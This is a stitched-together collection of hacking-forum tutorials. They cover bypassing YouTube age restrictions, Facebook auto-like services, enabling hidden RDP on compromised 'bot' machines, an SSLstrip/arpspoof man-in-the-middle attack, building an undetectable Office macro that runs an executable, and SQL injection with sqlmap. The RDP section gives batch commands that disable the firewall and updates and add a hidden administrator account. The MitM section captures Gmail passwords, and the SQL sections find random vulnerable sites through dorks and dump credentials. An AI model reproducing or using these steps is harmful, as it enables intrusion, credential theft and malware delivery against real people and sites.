Adblock for youtube premium.

                        

Bypass Youtube Age Security.

Youtube Age Restriction Bypass
Hey, I thought I would give this tutorial because although it has been out there for a long time, a lot of people I have found still don't seem to know how to do this
trick to get around Youtube's Video Restriction or Age Striction as some like to call it. Although this isn't really hacking, it's a cool technique and I think a worthy one to share!

Step 1: Find a restricted youtube video & look at the video URL like so: 


Step 2: Identify the "watch?" & "=" symbols in the URL surrounded by the letter 'V' as shown here:


Step 3: Delete those sections highlighted in red & put a slash after the v, so the URL turns from this: 

to this: 


Than once to go to that URL you just modified, you will have access to the full youtube video, except in fullscreen! It's a simple method to bypass age restriction
if you happen to not have an account, or if your account age is underage. I hope you like this simple tutorial!

1000+ facebook likes

You Use an App via FB which will like other people's Comments,Pictures,Statuses who uses the Auto Likers.

What do you need :
Facebook account with : 18 + Age, everything have on PUBLIC so PPL can autolike your photos.

One of the good sites is : My liker  .  com

Site : My liker .com

Here's how to setup the FB settings & The Whole tutorial : http : // www . myliker . com /how-to.html

After you are done you will get to this page : http: // prntscr . com/csnff1

You choose : FB auto liker & get to this page : http : // prntscr . com/csnfwo

Then you just click Auto Like on the Photo you like the most or where you want the likes and it will be random PPL liking your Pictures.

After that you need to wait like 15minutes to use it more time.

Now to "bypass" this, what you do is search for another auto like sites !

Some Good sites : Myliker . com
http :// www.myfbliker.com/
http :/ /autoliker4fb.com/
AND SO ON..... 

PS : You will have toons and toons of 10secounds of redirecting
Enjody & Git some HQ Likes

Enable RDP on Client

Hello everyone,

I was also looking for this like you all, but now i found i. i'll share you everything to avoid to research about it. So you could code your own C++/C#... RDP activator.

To enable RDP on a client, you need admin rights, if you have this, just open remote shell and type these commands : 

Code:

sc config wuauserv start= disabled
net stop wuauserv
netsh firewall set opmode disable
pkgmgr /iu:”TelnetServer”
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net user User1 password /add
net localgroup "Administrators" /add User1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v User1 /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

Once you did it, the RDP is enabled on your bot, but there is problem about multi-session. When you'll connect on the client with localhost IP or his public IP (if you have access to his rooter). You'll see this message :



To enable multi-session on remote desktop, there is 2 ways :

1 _________________________________________________

- You stop RDP service with this command shell : net stop termservice
Downloading the termsrv.dll in C:/Windows/System32/termsrv.dll on clients to patch it by changing the offsets yourself, then you replace, then you start RDP service : net start termservice.

Let me explain you.

If you want to enable Multi-session RDP on your own PC you have to download Universal Termsrv.dll Patch :



What does it do ? It will detect the version of your termsrv.dll then change offsets, 



So if you want to do it manually, make sure you disabled RDP with (net stop termservice) to pick the termsrv.dll of your client, if you dont disable you couldnt replace it since its openned on services.

Patch it manually, replace, restart termservice, then enjoy.

Once you know it, you can code yourself something to detect termsrv.dll version and patch it by searching on the web, each offsets to replace for each different version.

2 _________________________________________________

- You use RDPWrapper https://github.com/stascorp/rdpwrap/releases. You just have to download RDPWrap-v1.6.1 release, you extract, then you upload the directory on client and execute the install.bat.

Once you did it, the multi-session is enabled on client, you just have to connect on it with localhost IP and reverse or Public IP from rooter.

You can also check RDPWrapper to code your own RDP activator to avoid all these steps by hand.

________________________________________________________

What does i mean when i say "Public IP from rooter" ?

Its simple,

You use shell command to do "IPconfig", to take the gateway IP its usually (192.168.0.1/192.168.0.254/192.168.1.1/10.0.0.1...), then you use reverse to connect to gateway IP to have access to the rooter.

If you have password of it, find it by anyway, its not that hard, you should have access to everything!

Just do a portforward to the local IP of the client on port 3389 enable this.

And now you can use public IP to connect on hidden RDP from everywhere.

Ok, now the last problem is about admin rights, 

If you dont have admin rights on bot, you need a good UAC Bypass, just buy one, use a free one if the OS of your client isnt patched about this free UAC Bypass, once you have it you can :

- Code your RDP activator and start it on client with an UAC Bypass.
- Making a batch file of all these shell commands at the beginning of the thread, then start the batch file with UAC Bypass, then start the install.bat of RDPWrap with the UAC Bypass.

Hope i explained everything well.

Notify me if there is any misunderstanding. My english isnt that proficient.

Notify me also if im wrong about anything on the TuT.

Enjoy.

Hey guys!

Sorry i have to split this into 2 parts sadly i cant post 30 images in one topic :(

This is a tutorial on how to use SSL Strip with arpspoof to perform a MitM attack to hijack a victims HTTPS connection allowing you steal passwords and vulnerable information. I hope it is useful to you and that you enjoy it.

Many websites thees days use ssl(HTTPS) it offers an encrypted connection between the client and the server. I will be showing you how to setup arpspoof and ssl strip and perform a MitM attack to break it open.
Before i show you on how to setup anything I'm going to go over how a MitM attack works. MitM stand for man-in-the-middle. this is an attack that allows an intruder to intercept data going between a server(does not have to be on the same network) and a client on a local network without either party realising that the data is also being routed to the attacker.
ssl is a protocol that encrypts the data going between the client and server stopping an attacker from listening in to vulnerable data.
To bypass this we use a program called ssl strip, it imposes it's self as the victim so it receives the unencrypted data then sends it back on to the victim without them knowing. you can find more info on ssl strip here.
Ok now i have all that out of the way i will get on with the tutorial.

first of you will need:
a Linux .iso (i am using ubuntu but you many use any distro you like)
virtual box; this is to emulate Linux inside of windows.

I will get you to download ssl strip and arpspoof later in the tutorial.

If you already have Linux or know how to set up a virtual machine you may skip part 1. If you are using a VM just make sure your adapter is set to bridged mode or ssl strip wont work properly.

Ok once you have downloaded virtual box and ubuntu, start by installing virtual box.
once it has finished installing if you haven't already open it up, you should be confronted with this screen.
(yours wont have backtrack)

Spoiler (Click to View)

Ok we are going to create a new virtual machine, so hit the new button.

Spoiler (Click to View)

Hit next and you should see this.

Spoiler (Click to View)

You are going to need to change the operating system to Linux and the version to ubuntu(or to what distro you are using) and give it a name; hit next.

Spoiler (Click to View)

Now chose how much memory you want the virtual machine to have(keep it low if you don't have much ram)

Spoiler (Click to View)

Hit next on the virtual hard disk screen(leave the settings).on the next screen make sure the virtual disk is set to VDI then hit next again.

Spoiler (Click to View)

On the next screen make sure it's set to Dynamically Allocated. On the last screen select the size you what the virtual hard drive to be, I'm leaving at the default 8gig as i need minimal space for this tutorial.
Hit next then create and then create again.
Your virtual hard disk has now been created :D

Spoiler (Click to View)

Now we need to install Linux onto the virtual hard disk, start it by double clicking the virtual machine on the right side.

Spoiler (Click to View)

In info window will pop up just ignore and hit ok.you should now be com fronted with the first run wizard, hit next.

Spoiler (Click to View)

Ok we now need to select the Linux .iso for installation. start by clicking the folder icon on the right.

Spoiler (Click to View)

Now browse you computer and find the Linux .iso you downloaded earlier and hit open.

Spoiler (Click to View)

Then hit next then start. after a few seconds Linux should startup click install and just follow the installation until it's done then hit restart.

Spoiler (Click to View)

Once you have installed and restarted the virtual machine shut it down again, we need to change some settings. Once it's shut down you should be back at the virtual box manager. Select the virtual machine and hit settings.

Spoiler (Click to View)

A new window will appear with all the settings for that virtual machine. now you want to select the network tab.

Spoiler (Click to View)

Note: this attack will only work in your LAN not over the internet.

Under adapter 1 you are going to change the setting 'Attached to:' from NAT to Bridged Adapter and select the network interface that connects to the rest of your LAN.

Spoiler (Click to View)

Hit ok and restart the virtual machine.
once you have logged in open terminal.
Applications-> Accessories-> Terminal

Spoiler (Click to View)

Once open type this into the command line.

Code:

sudo apt-get install dsniff

it will then ask for you password then if you want to continue.
this will now download and install arpspoof.

Spoiler (Click to View)

Now we need to download ssl strip.
in a terminal window type out this command.

Code:

wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Spoiler (Click to View)

we will come back to ssl strip later

We now need to extract the archive. 
in a terminal window type this

Code:

tar zxvf sslstrip-0.9.tar.gz

Spoiler (Click to View)

We now need to wright a iptable rule to route all http requests coming in on port 80 to ssl strip which will be running on port 8080.
in a terminal window type this.

Code:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Spoiler (Click to View)

We now need to enable packet forwarding.
In a terminal window type this.

Code:

sudo -i

this allows you to edit system files.
now type

Code:

echo "1" > /proc/sys/net/ipv4/ip_forward

Spoiler (Click to View)

Now we are all set to start the attack :)

I would like to note that this for of attack will ONLY work on a local network and not over the internet.

first we need to find the networks gateway, use this command.

Code:

route -n

The gateway ip will be in the bottom row under the gateway column.

Spoiler (Click to View)

You will now need the victims ip, i am not going to go over how to acquire one in this tutorial(i will be using my laptop as a victim).

We can now start the MitM attack with this command.

Code:

sudo arpspoof -i eth0 -t <victim's ip> <gateway>

Spoiler (Click to View)

It should start spiting out arp reply messages.
This fools the router to send you all the traffic going to the victim.

Now we need to start ssl strip make sure you do this in a new window.

Code:

sudo python sslstrip-0.9/sslstrip.py -f -l 8080 -w ssllog.log

now i have put in a few arguments into the command: -f -l -w
-f replaces the favicon with a lock (it wont put https though), -l specifies what port sslstrip is to listen on and -w tells it write everything to a specified file.

Spoiler (Click to View)

Now we want to see what sslstrip is writing into ssllog.log
open a new window and type this

Code:

sudo tail -F ssllog.log

Spoiler (Click to View)

The window should be blank since there is nothing currently in the file.

Im going to go over to my laptop and log into gmail and see if has worked.

If it has worked HTTPS in the URL bar should be replaced by HTTP. 95% of the time people will over look this.
I will also note that any https sessions than have existed before ssl strip was started will say encrypted.

Spoiler (Click to View)

Enter some random email and password and try sign in.

Spoiler (Click to View)

Now go back to your Linux machine and it should show up.

Spoiler (Click to View)

If all went well you should now have sniffed the email and password from gmail.
this will happen to any site with ssl. sslstrip may encounter an error on some sites but 99% of the time it will continue as normal.

Thank you for reading. if you need any help or have any problems feel free to post here, pm me or contact me on skype (skypename: iamtheobelisk)
Once again thank you and have a nice day HF.

This tutorial is for educational purposes only.

Free FUD office Word/Excel macro!

Hello!
I don't see anyone share this tool on hf then I will share this with you guys. This is method how to get FUD macro easly.

1. Go to github.com/khr0x40sh/MacroShop and download all files.
2. Unzip your archive and open cmd.
3. Go to files directory via cmd and write "python exeinvba.py --exe test.exe --out test.vb" (test.exe is your file executed when macro starts).
4. Open new generated test.vb via notepad and copy all this code.
5. You can use this macro in Word/Excel/Powerpoint and more. Open for example Word go to "View" and "Macros". Set random name to your macro and select "Macros in:" "Document1". Click create and find tab "ThisDocument" (in Excel "ThisWorkbook"). Paste all code from test.vb.
6. If you use this code in Excel you don't have to change code but in Word you must change "Private Sub Workbook_Open()" to "Private Sub Document_Open()".
7. Save as .doc or .docm.
8. You got your FUD macro

SQLMAP Kali Linux

SQL Setup By Setup

Hey guys! Today I'm gonna be explaining
SQL Injection and how to preform an
SQL Injection attack on a website.
Let's start off by getting an understanding
of what SQL Injection is..

Quote:A SQL injection attack consists of insertion or
"injection" of a SQL query via the input data from the
client to the application. A successful SQL injection
exploit can read sensitive data from the database,
modify database data (Insert/Update/Delete), execute
administration operations on the database (such as
shutdown the DBMS), recover the content of a given file
present on the DBMS file system and in some cases issue
commands to the operating system. SQL injection attacks
are a type of injection attack, in which SQL commands
are injected into data-plane input in order to effect
the execution of predefined SQL commands.

Finding A Vulnerable Target

Okay, Lets start looking for a site if you
don't already have one. You can use a
something called "Google Dorks" to find
pages of a site that may be vulnerable.
Type one of these in google to do this :

Code:

Inurl:admin.php?p=
Inurl:contact.php?ID=
inurl:help.php?id=

You can find many more @ http://1337mir.com/hacking/2013/10/googl...injection/
And example would be a site like : http://www.example.com/contact.php?id=6
If you already have
a site, then you can use an
sqli dumper to find the test if
any pages of the site are vulnerable
using all the google dorks
at once. This is an example of "Pen-Testing".

Testing For Vulnerabilities

Once you have found the site
you wish to sql inject, you'll obviously
need to test if it is vulnerable.. To do
this you can type ' at the end of the
url. Like this : http://www.example.com/shop.php?id=6'
If it is infact vulnerable then it will
have an error similar to "You have an error in your SQL syntax"
If that page is not vulnerable then
it shouldn't have an error code and
most likely just refresh.

Finding Column Count

Now, we need to find the amount
of columns in the site. To do this
we can use the "Order By Statement"
At the end of the link you can type order by 1/*
and keep going up 2/*,3/*,4/*, ect. until
you get an error.

Code:

http://www.example/contact.php?id=46 order by 1/* no error
http://www.example.com/contact.php?id=6 order by 2/* no error
http://www.example.com/contact.php?id=6 order by 3/* no error
http://www.example.com/contact.php?id=6 order by 4/* no error
http://www.example.com/contact.php?id=6 order by 5/* error

Once you get that error, then you know that you
have the last links amount of columns, for the top
example, you can see that you have 4 columns
because the the last link that had an error.

Checking the UNION Function

Union allows you to select more data
in one SQL statement (If I'm wrong then tell me).
So to do the UNION Function you type union all
select 1,2,3,4/* I did it up to 4 because that is
how many columns are in the site I'm attacking,
if the columns were up to 33, you would type
union all select 1,2 (Up to 33).

Code:

http://www.example.com/contact.php?id=6 Union all select 1,2,3,4/*

If the /* Dosn't work then you can just replace it with --
If you see the numbers on screen then that means the
UNION works.

Checking For MySQL Version

Lets us check for the MySQL version. Lets us assume that on checking for
union function, we got number 3 on the screen. So for detecting the version,
we will replace number 3 of our query by @@version or version(). Like:

Quote:http://www.example.com/contact.php?id= 6 union all select 1,2,@@version/*

You should now have a version number. An example could be : 4.13.37

Getting table and column names

We will need to guess the table names now.
Some common table names are: admins,users,members,emails,user.
Common column names: users,user,password,pass, etc.
You can test them by entering into the link. Like :

Quote:http://www.example.com/contact.php?id=6 Union all select 1,2,3,4 from Tablename/*

If you see the number 3 again then the
table exists, now we need the
column name. We now do this :

Quote:http://www.example.com/contact.php?id=6 Union all select 1,2,user,4 from tablename/*

If usernames are displayed then it works, if a error occurs try another column.
If the names displayed you would then look for emails, passwords, etc.
Now we want to get the usernames and passwords at the same time, to do this we use concat. (Basically it joins the strings)

Quote:http://www.example.com/contact.php?id=6 Union all select 1,2,concat(username,0x3a,password),4 from tablename/*

0x3a is the value for ":"

Now you should get the username and password in a nice format.
Example: (User:Pass)

Quote:

Admin:qwerty

Now you can login to the Admin
Panel!! From here on is up to you. Thanks
for reading my tutorial. Have Fun! 

SQL inject a website.

Introduction

Hello and today I will be talking about how you can sql inject websites with Kali Linux using sqlmap. Sqlmap comes pre installed wig Kali Linux. If you don't have Linux you can get it from offensive security (for virtualbox). 

Finding vulnerable websites

1) To find a vulnerable website, you must type into google .phpid?=

2) You will see a bunch of websites come up. Note that the ending of the URL will be what you typed in, which is good. Then click on a website and at the end of the URL, leave a space and put an apostrophe (') in. So the URL should look like this
Code:
websitename.phpid?=36 '
NOTE It doesn't matter which number the website has after the .phpid?=. Also I don't recommend trying for this on government associated websites and websites that look good, because there is 99.99% that the websites will have some protection. 

4) If the server returns with a sql error, that means the website is vulnerable. If the website will say 'whatever you where searching for was not found', the website isn't vulnerable. 
Tip Research sql dorks. Sql dorks are lists of websites that are vulnerable to sql injection. Be careful because some sql dorks websites are quite shady. 

5) Now let's get to hacking. Open up terminal in Linux, and type the following in.
Code:
sqlmap -u websitename --dbs
the -u command tells sqlmap what URL you are using, and--dbs tells it to access the database.

6) It's gonna load for a while, and then sometimes it might ask you to type yes or no, depends on what you want or do. If you have no idea of what you are doing, I recommend keep typing in yes for whatever option comes up.

NOTE if something like this website isn't vulnerable comes up find a new website.

7)Now you will see different databases come up on the screen. The most useful information in a database would be usernames and passwords. I can't give you the name of the database that you need to look passwords and usernames in, because different websites have different names for databases, so you will have to do some poking around.

8)To look what's in a database type in
Code:
sqlmap -u websitename -D databasename --tables

9)Now to look what's inside the tables, type in
Code:
sqlmap -u websitename -D databasename -T tablename --columns

10)To look what's inside a column type in
Code:
sqlmap -u websitename -D databasename -T tablename -C columname --dump

11)Now you went through all the 'folders' and found the information. Thanks for reading.